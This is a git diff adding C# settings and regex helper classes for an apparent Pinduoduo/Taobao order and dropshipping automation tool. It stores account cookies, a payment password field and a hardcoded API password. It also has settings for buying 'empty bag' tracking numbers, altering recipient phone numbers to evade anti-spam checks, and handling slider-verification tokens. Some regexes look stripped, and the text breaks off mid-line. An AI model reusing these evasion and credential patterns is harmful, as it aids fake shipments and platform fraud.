/// + public static string baiyincookies = ""; + /// + /// 订单开始时间 + /// + public static DateTime OrderBeginTime = DateTime.Now.AddDays(-60); + /// + /// 用于判断唯一性 + /// + public static Dictionary Products = new Dictionary(); + /// + /// 用于循环输出 + /// + public static List ProductUse = new List(); + /// + /// 进度条矩阵 + /// + public static Dictionary ProcessList = new Dictionary(); + /// + /// 上传过的 + /// + public static List ProductIds = new List(); + //public static int MaxValue, MinValue, ThisValue; + public static bool GetProductsSuccess = false; + + public static bool SetProductView = false; + public static int TempSecond = 86400; + /// + /// 订单监控延迟 + /// + public static int OrderStep = 5; + public static int RankPage = 3; + /// + /// 采集最低销量 + /// + public static int MinSales = 0; + public static int MinPercent = 0; + public static int MinLevel = 0; + public static int Balance = 0; + public static int AlimamaPageCount = 0; + public static bool CloudTitle = false; + public static bool CloudBrand = false; + public static bool CloudSellerNick = false; + public static bool CloudProduct = false; + public static bool ImageSheild = true; + /// + /// 内部版 + /// + public static bool InSideVersion = false; + public static decimal MaxPrice = 0; + public static decimal MinPrice = 0; + public static decimal MinBackMoney = 0; + public static decimal Price = 5; + public static int TimeOut = 30; + public static int ThreadCount = 3; + public static int MainCatId = 0; + public static int GroupId = 0; + /// + /// 所在企业ID + /// + public static int CompanyId = 0; + /// + /// 企业名称 + /// + public static string CompanyName = ""; + /// + /// 到期时间 + /// + public static string EndDate = ""; + /// + /// 图片API + /// + public static string ImageApiUrl = "https://new.qixiaoke.com/index.php?obj=api/image"; + public static string LoginApiUrl = "http://order.qixiaoke.com/";//"http://192.168.8.9:8080/"; + //public static string LoginApiUrl = "http://127.0.0.1:81/"; + public static string BigDataApiUrl = "http://bigdata.qixiaoke.com/"; + public static string UserAgentUrl = LoginApiUrl + "userAgent.php"; + public static string GateApi = ""; + public static string ExpressSite = "http://www.1064kk.com/"; + public static string NewExpSite = "http://xinfen.xmby.tech/"; + + public static string QqGroupNum = ""; + public static string QqGroupUrl = ""; + public static string WechatUrl = ""; + public static string IeUrlShow = ""; + public static string JinBaoJump = ""; + + /// + /// 店铺旺旺名 + /// + public static string ShopName = ""; + public static string ShopId = ""; + /// + /// 拼多多店铺ID + /// + public static int MallId = 0; + public static int ReceiverId = 0; + //public static string TbTokenUrl = ""; + public static string NewCookies = ""; + public static bool MustGetShopInfo = false; + public static bool MustGetFormAlive = false; + public static string ChromeChatHtml = ""; + public static string ChromeUserAgent = ""; + public static string PddShopChromeUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.4.45 Safari/537.36 PddWorkbench-Online PddBrowser pdd_windows_version/2.6.0.26"; + public static string ChromeCookies = ""; + public static string ChromeJinBaoCookies = ""; + public static string ChromeTbLmCookies = ""; + public static string ChromeJdLmCookies = ""; + + public static string OrderId = "";//限制的订单 + public static string PayMobile = "";//当前买手账号 + public static bool SlideFormIsClose = true;//限制的窗体是否关闭(未关闭不允许弹出新的滑动窗体) + + //针对淘宝模拟接口限制 + public static bool SlideIsClose = false;//限制的窗体是否关闭(未关闭不允许弹出新的滑动窗体) + public static bool SlideCookiesReplace = false;//限制的窗体是否关闭(未关闭不允许弹出新的滑动窗体) + public static string SlideUrl = "";//限制的url + public static string x5Sec = ""; + + //针对淘宝cef限制 + public static string SlideUrlx = "";//限制的url + public static string x5Secx = ""; + + public static string loadUrl = "";//限制的买手号订单列表 + public static string verify_auth_token = ""; + public static string verify_auth_token_prodetails = ""; + public static bool isverfiy_finish = true; + //public static bool startGetRefundOrder = false; + + public static bool IsUpdateExp = false;//修改物流 + public static bool IsBuyEmptyBagSuccess = true;//购买空包是否成功标识 + public static string EmptyBagType = "LPD";//快递网类型 + public static string EmptyBagExp = "";//快递单快递 + + public static string SendErrorExpTime = "11";//发错误单的开始时间 + public static string UpdateErrorExpTime = "10";//修改错误单的开始时间 + public static bool PhonePay = true;//是否通过手机端购买 + public static bool IsFinishSpellOrder = true;//是否已完成拼团--一键拼团使用 + //public static bool IsFinishBuyOrder = true;//是否已完成拍单--连续拍单使用 + public static string payPwd = "";//支付密码 + public static bool IsRandomBuyer = false;//是否随机买手号 + + public static int sendOrderMin =5;//发货初始倒计时分钟 + public static int sendOrderSecond = 60;//发货倒计时秒 + + public static int StartReadOrderMin = 8;//读取订单倒计时分钟 + public static int StartReadOrderSecond = 10;//读取订单倒计时秒 + + public static bool IsCloudBuyOrder = false;//云拍单(拼多多批发,多买手) + public static bool IsFactory = false; // 是否工厂模式 + public static bool IsContinueBuy = false;//是否连续拍单 + public static string DuoduoJinbaoUrl = "";//手动填写的多多进宝推广url + public static string DuoduoJinbaoDefaultUrl = "";//多多进宝推广url 默认 + public static bool IsLoadDdJinBao = false;//拍单时是否用多多进宝的url + public static bool IsUpdateMobile = true;//是否修改收货人的手机号 + public static string AntiContent = "";//发货用 + public static bool AfterSaleTip = false;//售后提醒--默认关闭 + public static bool IsFilterWord = true;//自动回复过滤违禁词--默认开启 + public static string FilterWord = "";//过滤的违禁词 + public static bool AutoReply = false;//客服集成是否自动回复 + public static bool IsCustomService = false;//是否开启客服集成--默认关闭 + public static bool IsOrderManage = true;//是否开启订单管理 + public static bool NewCusSystem = false;//是否新方式的客服集成 + public static bool IsSearchSame = true;//是否开启搜同款功能 + public static bool IsOpenSound = false;//是否开启声音提醒 + public static int AfterSaleTime = 30;//读取售后单的时间--默认30天 + public static int WorkOrderTime = 30;//读取工单的时间--默认30天 + public static bool IsLoginFinish = false;//是否登录完成 + public static bool sOenVideoGuidance = true;//是否有视频指南 + public static int UpdChoice = 1;//防滥发修改选项 1:都修改 2:不修改手机号 + public static bool isOpenPangxie = false;//是否开启螃蟹 + public static bool isEasyOrder = false;//开启分批发货 + public static bool LoseMoneyNoBuy = true;//亏本单不拍 默认开启 + public static bool IsImgShow = true;//是否显示规格图 默认开启 + public static bool IsAutoSend = true;//是否拼多多自动发货 默认开启 + public static bool IsAutoSendTb = true;//是否淘宝自动发货 默认开启 + + public static bool IsLoadByDefaultWeb = true;//是否通过电脑默认自身的浏览器打开商品详情 默认开启 + public static bool isHljArear = false;//是否是黑龙江地区 默认关闭 + public static bool testtb = true;//测试淘宝 + public static bool IsSaveNote = false;//是否保存后台备注 + public static bool IsAutoApplyRefund = false;//是否自动去上家申请退款 + public static bool IsRefund = false;//店铺自动同意退款 退款后买手去上家退款 + public static bool IsHasReceipt = false;//是否开启已有揽收信息再发货 + public static bool TbLimitShow = true;//开启时淘宝买手号限制时自定弹框 + public static bool DesSwitch = false;//是否开启随机解密方式 默认关闭 以服务端为准 + public static int DesRsvTypeRate = 5;//开启RSV解密方式比例 默认50% 以服务端为准 + public static bool SendSet = false;//开启发货时间设置开关 + public static int SendTime = 13;//开启发货时间设置 + public static bool SwitchBuyer = false;//点击拍单订单详情自动切换买手号 默认关闭 + public static int ModeType = 0;//查看拍单订单详情方式 默认模式一 + public static int GetTbExpressModeType = 0;//获取淘宝物流详情方式 默认模式一 + + public static int GetOrderPice = 0;//设置不读单的金额 + + public static int OrderDisplay = 0;//0全部 1单 2双 订单显示 + + + #region 防滥发设置 + public static string AddressDetailFormat = ""; + public static string MobileFormat = ""; + + public static string Address_add = "拨打姓名后括号的电话";//拍单时追加地址的后面 + public static bool Address_Add_Specialword = false; + public static long Mobile_Change; + + #region 新版泛滥发设置 + public static string OwerSetMobile;//自定义拍单号码 + public static bool SpecCodeName;//名字加特殊字符 + public static bool AddRealMobile;//添加真实号码 + #endregion + + #endregion + + /// + /// 所有店铺的clientId token的过期时间 + /// + public static Dictionary ShopTokenTime = new Dictionary(); + + /// + /// 当前所有cookies + /// + public static Dictionary> CookiesAll = new Dictionary>(); + /// + /// 当前所有cookies对应字符串 + /// + public static Dictionary CookiesAllString = new Dictionary(); + + + /// + /// API接口是否可用 + /// + public static bool ApiCanUse = false; + /// + /// 启用昨日订单 + /// + public static bool OrderYesterday = false; + /// + /// 店铺名 + /// + public static string ShopNameString = ""; + /// + /// 店铺网址 + /// + public static string ShopUrl = ""; + /// + /// 1:正在获取token,2:结束,3:执行,0:空闲 + /// + //public static int TbTokenGeting = 0; + /// + /// 代理列表 + /// + public static List Proxy = new List(); + /// + /// 标题中不能包含的词 + /// + public static List CantTitleKeywords = new List(); + /// + /// 不能使用的分类 + /// + public static List CantCatId = new List(); + /// + /// 不能使用的标题 + /// + public static List CantTitle = new List(); + /// + /// 不能使用的品牌 + /// + public static List CantBrand = new List(); + + + public static string HadNoteId = ""; + /// + /// 网址正则 + /// + public static string LinkRegex = @"]*href[\s]*=[\s]*[""']{0,1}([^\s^>^""^']*)[^>]*>(.*?)"; + /// + /// 网址正则 + /// + public static string LinkRegexOut = @"]*href[\s]*=[\s]*[""']{0,1}(http[s]*://[^\s^>^""^']*)[^>]*>(.*?)"; + /// + /// Api对接密码 + /// + public static string ApiKeyword = "xiaojun&find_gold_cat"; + /// + /// 接口缓存信息 + /// + public static string UserAgent = null; + /// + /// 接口缓存信息 + /// + public static string ViewCode = null; + /// + /// 百度权重缓存信息 + /// + public static string ViewCodex = null; + /// + /// 是否暂停 + /// + public static bool IsStop = false; + /// + /// 是否测试 + /// + public static bool IsTest = false; + /// + /// 是否正在执行 + /// + public static bool IsRunning = false; + /// + /// 权重更新时间 + /// + public static int TimeBaiduRank = 0; + /// + /// 排名更新时间 + /// + public static int TimeKeywordRank = 0; + /// + /// 时间差 + /// + public static int TimeDifferent = 0; + /// + /// 硬件信息 + /// + public static string MacInfo = ""; + /// + /// 注册用户名 + /// + public static string UserName = ""; + /// + /// 注册昵称 + /// + public static string NickName = ""; + /// + /// 注册用户名 + /// + public static int UserId = 0; + /// + /// 注册用户名 + /// + public static int UserKey = 0; + /// + /// 注册用户名 + /// + public static int SiteBuildThreadCount = 0; + /// + /// 注册用户名 + /// + public static int UserVersion = 0; + /// + /// 注册用户名 + /// + public static string UserVersionString = ""; + /// + /// 注册密码 + /// + public static string PassWord = ""; + /// + /// 间隔时间 + /// + public static int WaitTime = 300; + + /// + /// 注册密码 + /// + public static string LogPatch = ""; + + + public static bool Remember = false; + public static bool AutoLogin = false; + + /// + /// 拼多多防滥发 + /// + public static bool PreveSpam = false; + /// + /// 获取数据库链接 + /// + /// + //public static string GetDataString() + //{ + // if (IsMysqlDataBase) + // { + // return "Max Pool Size = 512;Database='" + DataBase + "';Data Source='" + DataIp + + // "';Port=3306;User Id='" + DataUser + "';Password='" + DataPass + "';Charset=gbk;"; + // } + // return "server=" + DataIp + ";database=" + DataBase + ";uid=" + DataUser + ";pwd=" + DataPass; + + //} + + /// + /// 接口程序 + /// + public static List ApiList = new List(); + /// + /// 国内代理列表 + /// + public static List ProxyIn = new List(); + /// + /// 美国代理列表 + /// + public static List ProxyOut = new List(); + /// + /// 美国代理列表 + /// + public static List ProxyHttps = new List(); + /// + /// 指数代理列表 + /// + public static List IpChangeList = new List(); + + /// + /// CPU使用率 + /// + public static int CpuUser = 0; + /// + /// CPU温度 + /// + public static int CpuTemperature = 0; + /// + /// 数据库正在执行线程数 + /// + public static int DataUpdateThread = 0; + + public static string PassWordBak { get; set; } + + /// + /// CPU使用率更新线程 + /// + public static void UpdateCpuThread() + { + PerformanceCounter CpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + int i; + double all; + while (true) + { + all = 0; + for (i = 1; i < 6; i++) + { + all += CpuCounter.NextValue(); + Thread.Sleep(50); + } + CpuUser = (int)all / i; + } + } + + /// + /// DateTime时间格式转换为Unix时间戳格式 + /// + /// + /// + public static int ConvertDateTimeInt(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (int)(time - startTime).TotalSeconds; + } + + /// + /// DateTime时间格式转换为Unix时间戳格式 13位 + /// + /// + /// + public static long ConvertDateTimeLong(DateTime time) + { + TimeSpan ts = DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0); + return Convert.ToInt64(ts.TotalMilliseconds); + } + + /// + /// C#格式时间转换为Unix时间戳(秒) + /// + /// + /// + public static int DateTimeToTimestampSeconds(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (int)(time - startTime).TotalSeconds; + } + + /// + /// 计算字节长度 + /// + /// + /// + public static int GetCharLength(string word) + { + if (string.IsNullOrEmpty(word)) + return 0; + return Encoding.GetEncoding("gbk").GetBytes(word).Length; + } + + /// + /// 时间戳转为C#格式时间 + /// + /// + /// + public static DateTime StampToDateTime(int timeStamp) + { + DateTime dateTimeStart = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + long lTime = long.Parse(timeStamp + "0000000"); + TimeSpan toNow = new TimeSpan(lTime); + return dateTimeStart.Add(toNow); + } + + /// + /// 时间戳转为C#格式时间 + /// + /// + /// + public static DateTime StampToDateTimex(long timeStamp) + { + DateTime dateTimeStart = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + long lTime = long.Parse(timeStamp + "0000"); + TimeSpan toNow = new TimeSpan(lTime); + return dateTimeStart.Add(toNow); + } + + /// + /// 设置粘贴板 + /// + /// + public static void SetClipboard(string message) + { + try + { + Clipboard.SetDataObject(message); + } + catch + { + } + } + /// + /// 获取服务器的精准时间 + /// + /// + public static DateTime GetServerTimeString() + { + int time = GetTime(); + DateTime t = StampToDateTime(time); + return t; + } + /// + /// 获取绝对时间 + /// + /// + public static int GetTime() + { + return ConvertDateTimeInt(DateTime.Now) + TimeDifferent; + } + /// + /// 获取绝对时间 + /// + /// + public static int GetTime(DateTime t) + { + return ConvertDateTimeInt(t) + TimeDifferent; + } + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.UTF8.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// MD5加密 + /// + /// + public static string GetMd5(byte[] result) + { + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + + /// + /// MD5加密 + /// + /// + public static long GetLong(byte[] result) + { + return + Convert.ToInt64( + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(result), 4, + 8).Replace("-", ""), 16); + } + + /// + /// MD5 16位加密转long + /// + /// + /// + public static long GetLong(string url) + { + if (string.IsNullOrEmpty(url)) + return 0; + return Convert.ToInt64(BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(url)), 4, 8).Replace("-", ""), 16); + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryption(int s) + { + string ss = s.ToString(); + if (ss.Length > 8) + { + ss = ss.Substring(ss.Length - 8); + s = int.Parse(ss); + if (s < 100000000) + s += 100000000; + } + byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + double y = s * 1.8061825125; + y += 4852095.48659959; + y += kb[3] * 943579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 458735.48548; + y -= k[6] * 458720.454545; + y -= k[2] * 5447826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 34779810.2455; + y -= k1[1] * 57942.0564845; + y -= k1[5] * 1548.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + /// + /// 生成OBJ路径 + /// + /// + /// + public static string BuildObjString(string file) + { + if (IsJingXi) + return LoginApiUrl + "index.php?obj=jingxi/" + file; + if (IsXiaoNaiNiu) + return LoginApiUrl + "index.php?obj=littlecow/" + file; + if (IsPinbaobao) + return LoginApiUrl + "index.php?obj=pinbaobao/" + file; + if (IsBuyer) + return LoginApiUrl + "index.php?obj=findgoldcat_buyer/" + file; + if (IsMainCompany) + return LoginApiUrl + "index.php?obj=findgoldcat_main/" + file; + return LoginApiUrl + "index.php?obj=findgoldcat/" + file; + } + public static string DouYinBuildObjString(string file) + { + return LoginApiUrl + "index.php?obj=" + BaseClass.MainPath + "/" + file; + } + /// + /// 返回固定字节长度 + /// + /// + /// + /// + public static string SubCharLength(string word, int len) + { + if (string.IsNullOrEmpty(word)) + return word; + word = word.Trim(); + word = word.Replace("..", ".").Replace("..", "."); + word = word.Replace(" ", " ").Replace(" ", " "); + if (GetCharLength(word) <= len) + return word; + while (GetCharLength(word) > len) + { + word = word.Substring(0, word.Length - 1); + } + return word; + } + + } + + public class KeyValueBase + { + public KeyValueBase(string key, string value) + { + Key = key; + Value = value; + } + + public string Key; + public string Value; + /// + /// 店铺ID + /// + public string Id = ""; + public string CatName = ""; + } + + public class BuyOrderTemp + { + public string ShopName;//店铺名称 + public string OrderId;//客户单号 + public string BuyOrderId;//拍单单号 + public string BuyUser;//拍单账户 + public string BuyTime;//拍单账户 + public string PayAccountZFB;//拍单支付宝账户 + } + + public class KeyValuesBase + { + public KeyValuesBase(string key, string value1) + { + Key = key; + Value1 = value1; + } + public KeyValuesBase(string key, string value1, string value2, string value3) + { + Key = key; + Value1 = value1; + Value2 = value2; + Value3 = value3; + } + public KeyValuesBase(string key, string value1, string value2) + { + Key = key; + Value1 = value1; + Value2 = value2; + } + + public string Key; + public string Value1; + public string Value2; + public string Value3; + + public int Rank = 0; + } + + public class CatProudctBase + { + public int CatId = 0; + public Dictionary Products = new Dictionary(); + } + + public class MarketProductBase + { + public string ProductId = ""; + public string Title = ""; + public string CatIds = ""; + public string Image = ""; + public string CampaignId = ""; + public string Token = ""; + } + + public class ProcessBase + { + public int Min = 0; + public int Max = 0; + public int Value = 0; + } + + public class ProductBase + { + public long Id; + public long UpId; + public string Title; + public string OuterId; + public decimal Price; + public bool HadFastCar = false; + /// + /// 需要上传 + /// + public bool MustUpdate = false; + } + public class ProductCollectBase + { + /// + /// 更新SKU是否成功 + /// + public bool UpdateSuccess = false; + public long id = 0; + public int cat_id = 0; + public int main_cid = 0; + public string main_cat_name = ""; + public int mall_id = 0; + public int cat1 = 0; + public int cat2 = 0; + public int cat3 = 0; + public int cat4 = 0; + public long from_id = 0; + public int from_shop_id = 0; + public int from_cat_id = 0; + public int from_site_id = 0; + public int item_weight = 1; + public int saleCount = 0; + public int num = 0; + public decimal price = -1; + public decimal before_price = -1; + public decimal discount = -1; + public decimal discountPrice = -1; + public decimal onlinePrice = -1; + public decimal market_price = 0; + public int shopAddPercent = 0; + public decimal shopAddPriceMin = 0; + public decimal shopAddPriceMax = 0; + public string image = ""; + public string image_path = ""; + public string image_from_url = ""; + public string from_name = ""; + public string name = ""; + public string name_share = ""; + public string content_pinduoduo = ""; + public string hd_thumb_url_pinduoduo = ""; + public string thumb_url_pinduoduo = ""; + public int cost_template_id_pinduoduo = 0; + public string name_shot = ""; + public List Prop = new List(); + public List Props = new List(); + public List Packs = new List(); + public List SkuMaps = new List(); + public List Images = new List(); + public string sell_pt = ""; + public string from_url = ""; + public string from_shop_name = ""; + public string item_size = ""; + public string city = ""; + public string state = ""; + public string content = ""; + public string from = ""; + public string from_title = ""; + public string message = ""; + /// + /// 邮费 + /// + public decimal express_price = 0; + public long nameMd5 = 0; + public long upShopId = 0; + public ProductCollectBase Clone() + { + string html = JsonHelper.SerializeObject(this); + ProductCollectBase tp = JsonHelper.DeserializeJsonToObject(html); + return tp; + } + } + + public class PropBase + { + public long id; + public string name = ""; + public string pinduoduo_name = ""; + public string pinduoduo_id = ""; + public int sort = 0; + public List Values = new List(); + } + + public class PropValueBase + { + public string value = ""; + public string name = ""; + public string id = ""; + public string image = ""; + public string image_path = ""; + public string image_from_url = ""; + //public string image_pinduoduo_url = ""; + public int number = 0; + //public decimal pinduoduo_price = 0; + public string name_pinduoduo = ""; + } + + public class PackBase + { + public string name = ""; + public string value_count = ""; + public int sort = 0; + } + + public class SkuMapBase + { + public long id = 0; + public string name = ""; + public decimal price = 0; + public decimal before_price = 0; + public decimal no_group_price = 0; + public decimal new_price = 0; + public int number = 0; + public int sale_count = 0; + public decimal online_price = 0; + public string prop_image = ""; + public string pinduoduo_image = ""; + public string size = ""; + public string sizename = ""; + public string spec_pinduoduo = ""; + } + + public class ReceiveAddress + { + public string Provincial; + + public string City; + + public string Area; + } +} diff --git a/AllBase/BaseRegex.cs b/AllBase/BaseRegex.cs new file mode 100644 index 0000000..529a627 --- /dev/null +++ b/AllBase/BaseRegex.cs @@ -0,0 +1,635 @@ +/* + * 常用正则表达式 + * 肖俊 + * 2013-5-2 + * + */ + +using System; +using System.Text; +using System.Text.RegularExpressions; + +namespace AllBase +{ + /// + /// 基础正则表达式类 + /// + public static class BaseRegex + { + /// + /// 返回正则对象所有结果 + /// + /// + /// + /// + public static MatchCollection GetMatchRegex(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 返回正则对象所有结果 + /// + /// + /// + /// + public static MatchCollection GetMatchRegex(ref string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetMatchRegexString(ref string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + return mc[0].Groups[1].Value.ToString(); + } + return null; + } + /// + /// 返回2个字符串之间的值 + /// + /// + /// + /// + /// + public static string MidStrEx(string sourse, string startstr, string endstr) + { + string result = string.Empty; + int startindex, endindex; + try + { + startindex = sourse.IndexOf(startstr); + if (startindex == -1) + return result; + string tmpstr = sourse.Substring(startindex + startstr.Length); + endindex = tmpstr.IndexOf(endstr); + if (endindex == -1) + return result; + result = tmpstr.Remove(endindex); + } + catch (Exception ex) + { + + } + return result; + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetMatchRegexString(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + return mc[0].Groups[1].ToString(); + } + return null; + } + /// + /// 是否存在匹配 + /// + /// + /// + /// + public static bool MatchRegex(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return false; + } + return Regex.IsMatch(HtmlString, RegexString, RegexOptions.IgnoreCase); + } + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static string Clear(string HtmlString, string RegexString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + RegexString); + return null; + } + return Regex.Replace(HtmlString, RegexString, "", RegexOptions.IgnoreCase); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static string ClearHtml(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + return Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", "").Trim(); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static string ClearHtml(ref string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + return Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", "").Trim(); + } + /// + /// 清除HTML代码 + /// + /// + /// 返回文字内容 + public static void ClearHtmlX(ref string HtmlString) + { + if (string.IsNullOrEmpty(HtmlString)) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return; + } + HtmlString = Regex.Replace(Regex.Replace(HtmlString, + @"(|||)", ""), "(<[^>]*?>)", ""); + } + + /// + /// 清除HTML代码A标签 + /// + /// + /// 返回文字内容 + public static string ClearA(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + HtmlString = Regex.Replace(HtmlString, "(]*>)", "", RegexOptions.IgnoreCase); + return HtmlString.Trim(); + } + /// + /// 去除空格和特殊空白 + /// + /// + /// + public static string Trim(string text) + { + if (string.IsNullOrEmpty(text)) + return ""; + return text.Replace("\t", " ").Replace("\r\n", " ").Replace("\r", " ").Replace("\n", " ").Trim(); + } + + /// + /// 清除HTML代码A标签 + /// + /// + /// 返回文字内容 + public static string ClearTitle(string HtmlString) + { + if (HtmlString == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空"); + return null; + } + HtmlString = Regex.Replace(HtmlString, "(title=\"[^\"]*\")", ""); + return HtmlString.Trim(); + } + /// + /// 获取值 + /// + /// + /// + /// + public static string GetValue(string html, string reg) + { + return GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + } + /// + /// 清理多余的HTML元素 + /// + /// + /// + public static string ClearNone(string html) + { + if (string.IsNullOrEmpty(html)) + return null; + if (html.Contains("\0") && html.IndexOf("\0") > 0) + html = html.Substring(0, html.IndexOf("\0")); + string h = Clear(html, @"(<\!doctype[^>]*?>)"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"()"); + h = Clear(h, @"()"); + h = Clear(h, @"()"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"()"); + h = Clear(h, @"(]*?>)"); + h = Clear(h, @"(\s*alt\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*style\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*title\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*id\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*class\s*=[""'\s]*[^>]*?['""]+)"); + h = Clear(h, @"(\s*align\s*=[""'\s]*[^>]*?['""]+)"); + h = h.Replace("\r\n", " "); + h = h.Replace("\n", " ").Replace("\r", " ").Replace("\t", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + h = h.Replace(" ", " "); + return h.Replace(" ", " ").Replace(" ", " "); + } + /// + /// 返回执行结果数 + /// + /// + /// + /// + public static int GetRegexCount(string html, string regex) + { + if (html == null) + { + LogSave.Add("匹配正则发生错误:原始字符串为空,正则:" + regex); + return 0; + } + return Regex.Matches(html, regex, RegexOptions.IgnoreCase).Count; + } + + + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static string Relpace(string HtmlString, string RegexString, string NewString) + { + if (HtmlString == null) + return null; + return Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase); + } + /// + /// 根据正则删除表达式所匹配的内容 + /// + /// + /// + /// + public static void Relpace(ref string HtmlString, string RegexString, string NewString) + { + if (HtmlString == null) + return; + HtmlString = Regex.Replace(HtmlString, RegexString, NewString, RegexOptions.IgnoreCase); + } + /// + /// 关键词在文本中出现的次数 + /// + /// + /// + /// + public static int GetStringCount(ref byte[] b, string keyword) + { + if (string.IsNullOrEmpty(keyword)) + return 0; + int c = 0; + bool had; + byte[] b1 = Encoding.UTF8.GetBytes(keyword); + for (int i = 0; i < b.Length - b1.Length; i++) + { + had = false; + for (int j = 0; j < b1.Length; j++) + { + if (b[i + j] != b1[j]) + { + had = true; + break; + } + } + if (had) + { + c++; + i += b1.Length - 1; + } + } + return c; + } + /// + /// 是否存在 + /// + /// + /// + /// + public static bool Exists(string html, string reg) + { + if (string.IsNullOrEmpty(html) || string.IsNullOrEmpty(reg)) + return false; + return new Regex(reg).IsMatch(html); + } + /// + /// 是否是数字 + /// + /// + /// + public static bool IsNumber(string str) + { + if (string.IsNullOrEmpty(str)) + { + return false; + } + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[0-9\.]+$"); + return reg1.IsMatch(str); + } + /// + /// 是否是字母 + /// + /// + /// + public static bool IsChar(string str) + { + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z]+$"); + return reg1.IsMatch(str); + } + /// + /// 是否是字母 + /// + /// + /// + public static bool IsCharOrNumber(string str) + { + System.Text.RegularExpressions.Regex reg1 = new System.Text.RegularExpressions.Regex(@"^[A-Za-z0-9]+$"); + return reg1.IsMatch(str); + } + + /// + /// 是否是中文字符串列 + /// + /// + /// + public static bool IsWordList(string word) + { + char[] xj = word.ToCharArray(); + for (int j = 0; j < xj.Length; j++) + if (!IsWord(xj[j])) + return false; + return true; + } + /// + /// 是否是字符 + /// + /// + /// + private static bool IsWord(int ascii) + { + if (ascii == 32 || ascii == 35) //空格 + return true; + if (ascii < 58 && ascii > 47) //数字 + return true; + if (ascii < 48 && ascii > 31) //符号 + return true; + if (ascii < 91 && ascii > 64) //小写字母 + return true; + if (ascii < 123 && ascii > 96) //大写字母 + return true; + if (ascii < 40892 && ascii > 13311) //中文字符串 + return true; + return false; + } + + /// + /// 获取值 + /// + /// + /// + /// + public static bool GetBoolValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + if (!string.IsNullOrEmpty(temp) && (temp.ToLower() == "true" || temp == "1")) + return true; + return false; + } + /// + /// 获取值 + /// + /// + /// + /// + public static int GetIntValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg + ">([^<]+)"); + int i; + if (int.TryParse(temp, out i)) + return i; + return 0; + } + /// + /// 获取值 + /// + /// + /// + /// + public static long GetLongValue(string html, string reg) + { + string temp = GetMatchRegexString(html, "<" + reg 